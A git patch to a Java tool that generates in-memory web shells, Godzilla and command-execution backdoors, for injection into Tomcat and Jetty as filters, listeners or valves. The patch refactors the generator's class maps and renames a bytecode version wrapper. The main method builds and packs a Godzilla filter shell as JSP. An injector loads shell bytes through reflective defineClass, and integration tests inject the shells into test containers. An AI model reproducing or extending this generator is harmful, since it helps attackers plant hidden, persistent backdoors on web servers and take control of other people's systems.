From 3004221fad00b125bf98e63e597498b1e986a927 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 8 Dec 2024 16:51:50 +0800 Subject: [PATCH] refactor: extract super class --- .../com/reajason/javaweb/GeneratorMain.java | 16 ++-- ...va => TargetJreVersionVisitorWrapper.java} | 8 +- .../reajason/javaweb/config/ShellConfig.java | 6 +- .../javaweb/godzilla/GodzillaManager.java | 5 +- .../javaweb/memsell/AbstractShell.java | 86 ++++++++++++++----- .../javaweb/memsell/CommandGenerator.java | 4 +- .../javaweb/memsell/GodzillaGenerator.java | 4 +- .../javaweb/memsell/InjectorGenerator.java | 6 +- .../javaweb/memsell/jetty/JettyShell.java | 34 ++++++-- .../javaweb/memsell/tomcat/TomcatShell.java | 42 ++++++--- .../tomcat/injector/TomcatFilterInjector.java | 3 +- .../integration/ShellAssertionTool.java | 2 +- .../jetty/Jetty61ContainerTest.java | 16 ++-- .../tomcat/Tomcat6ContainerTest.java | 10 ++- 14 files changed, 166 insertions(+), 76 deletions(-) rename generator/src/main/java/com/reajason/javaweb/buddy/{TargetJDKVersionVisitorWrapper.java => TargetJreVersionVisitorWrapper.java} (87%) diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 71f82ddc..313e1b90 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -5,8 +5,12 @@ import com.reajason.javaweb.memsell.jetty.JettyShell; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.nio.file.StandardOpenOption; /** * @author ReaJason @@ -18,7 +22,7 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.JETTY) + .server(Server.TOMCAT) .shellTool(ShellTool.Godzilla) .shellType(Constants.FILTER).build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() @@ -28,9 +32,12 @@ public class GeneratorMain { .headerValue("test123") .build(); InjectorConfig injectorConfig = new InjectorConfig(); - byte[] bytes = generate(shellConfig, injectorConfig, godzillaConfig, Packer.INSTANCE.JSP); - if (bytes != null) { - System.out.println(new String(bytes)); + GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig); + if (generateResult != null) { + Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); + Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); + System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); + Packer.INSTANCE.JSP.getPacker().pack(generateResult); } } @@ -54,7 +61,6 @@ public class GeneratorMain { public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); if (generateResult != null) { -// Files.write(Paths.get( injectorConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); return packerInstance.getPacker().pack(generateResult); } return null; diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java b/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java similarity index 87% rename from generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java rename to generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java index 20c0863e..84d9e706 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJDKVersionVisitorWrapper.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java @@ -17,17 +17,17 @@ import org.jetbrains.annotations.NotNull; * 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6 * @author ReaJason */ -public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper { +public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper { - public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper(); + public static final TargetJreVersionVisitorWrapper DEFAULT = new TargetJreVersionVisitorWrapper(); private final int targetJdkVersion; - public TargetJDKVersionVisitorWrapper() { + public TargetJreVersionVisitorWrapper() { targetJdkVersion = Constants.DEFAULT_VERSION; } - public TargetJDKVersionVisitorWrapper(int targetJdkVersion) { + public TargetJreVersionVisitorWrapper(int targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; } diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java index 0c0267e0..9c00d647 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java @@ -32,10 +32,10 @@ public class ShellConfig { String shellType; /** - * 生成类的目标 JDK 版本 + * 生成类的目标 JRE 版本 */ @Builder.Default - private int targetJdkVersion = Constants.DEFAULT_VERSION; + private int targetJreVersion = Constants.DEFAULT_VERSION; /** * 是否开启混淆 @@ -55,6 +55,6 @@ public class ShellConfig { } public boolean needByPassJdkModule() { - return targetJdkVersion >= Opcodes.V9; + return targetJreVersion >= Opcodes.V9; } } diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index d1d92185..0ad35f99 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.godzilla; -import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memsell.GodzillaGenerator; import lombok.Getter; import lombok.Setter; @@ -123,7 +123,7 @@ public class GodzillaManager implements Closeable { String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size())); try (DynamicType.Unloaded make = new ByteBuddy() .redefine(Payload.class) - .visit(TargetJDKVersionVisitorWrapper.DEFAULT) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) .name(className) .make()) { return make.getBytes(); @@ -154,6 +154,7 @@ public class GodzillaManager implements Closeable { ResponseBody body = response.body(); if (body != null) { String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); + System.out.println(resultFromRes); return "ok".equals(resultFromRes); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java index 43a33e39..c24d9329 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java @@ -3,7 +3,8 @@ package com.reajason.javaweb.memsell; import com.reajason.javaweb.config.*; import org.apache.commons.lang3.tuple.Pair; -import java.util.HashMap; +import java.util.Collections; +import java.util.List; import java.util.Map; /** @@ -11,30 +12,53 @@ import java.util.Map; * @since 2024/12/7 */ public abstract class AbstractShell { - protected final Map, Class>> godzillaShellMap = new HashMap<>(); - protected final Map, Class>> commandShellMap = new HashMap<>(); - public AbstractShell() { - initializeShellMaps(); + /** + * 获取当前支持的内存马功能列表 + * + * @return supported tool lists + */ + public abstract List getSupportedShellTools(); + + + /** + * 获取内存马功能所支持的注入类型列表 + * + * @param tool 内存马功能 + * @return shellTypes + */ + public List getSupportedShellTypes(ShellTool tool) { + return switch (tool) { + case Godzilla -> getGodzillaShellMap().keySet().stream().toList(); + case Command -> getCommandShellMap().keySet().stream().toList(); + default -> Collections.emptyList(); + }; } /** - * setup map + * 检查 shellConfig 的配置是否有效 + * + * @param shellConfig 内存马生成配置 + * @return valid */ - protected abstract void initializeShellMaps(); + public boolean isValid(ShellConfig shellConfig) { + List supportedShellTools = getSupportedShellTools(); + if (!supportedShellTools.contains(shellConfig.getShellTool())) { + return false; + } + + List supportedShellTypes = getSupportedShellTypes(shellConfig.getShellTool()); + return supportedShellTypes.contains(shellConfig.getShellType()); + } public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { - Class injectorClass = injectorConfig.getInjectorClass(); - byte[] shellBytes; + Pair, Class> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); + Class shellClass = shellInjectorPair.getLeft(); + Class injectorClass = shellInjectorPair.getRight(); - Pair, Class> classPair = getClassPair(shellConfig); + shellToolConfig.setClazz(shellClass); - if (injectorClass == null) { - injectorClass = classPair.getRight(); - } - shellToolConfig.setClazz(classPair.getLeft()); - - shellBytes = generateShellBytes(shellConfig, shellToolConfig); + byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); injectorConfig = injectorConfig .toBuilder() @@ -50,14 +74,36 @@ public abstract class AbstractShell { .injectorConfig(injectorConfig) .shellClassName(shellToolConfig.getClassName()) .shellBytes(shellBytes) - .injectorClassName(injectorClass.getName()) + .injectorClassName(injectorConfig.getInjectorClassName()) .injectorBytes(injectorBytes) .build(); } - private Pair, Class> getClassPair(ShellConfig shellConfig) { - Map, Class>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap; - return shellMap.get(shellConfig.getShellType()); + /** + * 获取 Godzilla 注入生成类 Map + * + * @return shellType -> shellClass,injectorClass + */ + protected Map, Class>> getGodzillaShellMap() { + return Collections.emptyMap(); + } + + /** + * 获取 Command 注入生成类 Map + * + * @return shellType -> shellClass,injectorClass + */ + protected Map, Class>> getCommandShellMap() { + return Collections.emptyMap(); + } + + private Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { + Map, Class>> shellMap = switch (shellTool) { + case Godzilla -> getGodzillaShellMap(); + case Command -> getCommandShellMap(); + default -> Collections.emptyMap(); + }; + return shellMap.get(shellType); } private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 5afff7b3..30267831 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memsell; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.config.CommandConfig; import com.reajason.javaweb.config.ShellConfig; import net.bytebuddy.ByteBuddy; @@ -26,7 +26,7 @@ public class CommandGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(shellConfig.getClazz()) .name(shellConfig.getClassName()) - .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) + .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) .constructor(ElementMatchers.any()).intercept(fieldSets); if (config.isJakarta()) { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index f7ad4e7a..7197f883 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memsell; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.config.GodzillaConfig; import com.reajason.javaweb.config.ShellConfig; import net.bytebuddy.ByteBuddy; @@ -26,7 +26,7 @@ public class GodzillaGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(shellConfig.getClazz()) .name(shellConfig.getClassName()) - .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) + .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) .constructor(ElementMatchers.any()) .intercept(SuperMethodCall.INSTANCE .andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass())) diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index e6a769d9..a06de839 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -1,8 +1,7 @@ package com.reajason.javaweb.memsell; import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; -import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; -import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.config.InjectorConfig; import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.util.CommonUtil; @@ -10,7 +9,6 @@ import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; -import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; import java.util.Objects; @@ -31,7 +29,7 @@ public class InjectorGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(injectorConfig.getInjectorClass()) .name(injectorConfig.getInjectorClassName()) - .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) + .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java index 0493b096..1b8e118c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/JettyShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memsell.jetty; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.jetty.command.CommandFilter; import com.reajason.javaweb.memsell.jetty.command.CommandListener; @@ -9,6 +10,9 @@ import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector; import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector; import org.apache.commons.lang3.tuple.Pair; +import java.util.List; +import java.util.Map; + import static com.reajason.javaweb.config.Constants.*; /** @@ -18,15 +22,27 @@ import static com.reajason.javaweb.config.Constants.*; public class JettyShell extends AbstractShell { @Override - protected void initializeShellMaps() { - godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); - godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class)); - godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)); - godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)); + public List getSupportedShellTools() { + return List.of(ShellTool.Godzilla, ShellTool.Command); + } - commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); - commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class)); - commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); - commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)); + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), + JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), + LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class), + JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), + JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), + LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class), + JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class) + ); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index 86d45c8e..8736889c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memsell.tomcat; +import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.tomcat.command.CommandFilter; import com.reajason.javaweb.memsell.tomcat.command.CommandListener; @@ -12,6 +13,9 @@ import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; import org.apache.commons.lang3.tuple.Pair; +import java.util.List; +import java.util.Map; + import static com.reajason.javaweb.config.Constants.*; /** @@ -26,19 +30,31 @@ public class TomcatShell extends AbstractShell { public static final String EXECUTOR = "Executor"; @Override - protected void initializeShellMaps() { - godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - godzillaShellMap.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - godzillaShellMap.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); + public List getSupportedShellTools() { + return List.of(ShellTool.Godzilla, ShellTool.Command); + } - commandShellMap.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - commandShellMap.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - commandShellMap.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); - commandShellMap.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), + JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), + LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), + JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), + VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), + JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class), + JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class), + LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), + JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), + VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), + JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class) + ); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java index dd5a7fbf..d2e12e4a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java @@ -197,7 +197,8 @@ public class TomcatFilterInjector { defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); filter = clazz.newInstance(); - } catch (Throwable ignored) { + } catch (Throwable e1) { + e1.printStackTrace(); } } return filter; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 9aa5e0c4..241d79c6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -20,7 +20,7 @@ public class ShellAssertionTool { .server(server) .shellTool(shellTool) .shellType(shellType) - .targetJdkVersion(targetJdkVersion) + .targetJreVersion(targetJdkVersion) .build(); String shellUrl = url + "/test"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index b9b2d776..dbcb4f9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -33,10 +33,10 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP) -// arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), -// arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); } @@ -53,8 +53,8 @@ public class Jetty61ContainerTest { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - @AfterAll - static void tearDown() { - log.info(container.getLogs()); - } +// @AfterAll +// static void tearDown() { +// log.info(container.getLogs()); +// } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 5077a090..61661aa5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -43,7 +44,7 @@ public class Tomcat6ContainerTest { } @Container - public final static GenericContainer tomcat = new GenericContainer<>(imageName) + public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -52,6 +53,11 @@ public class Tomcat6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); } + +// @AfterAll +// static void tearDown() { +// log.info(container.getLogs()); +// } } \ No newline at end of file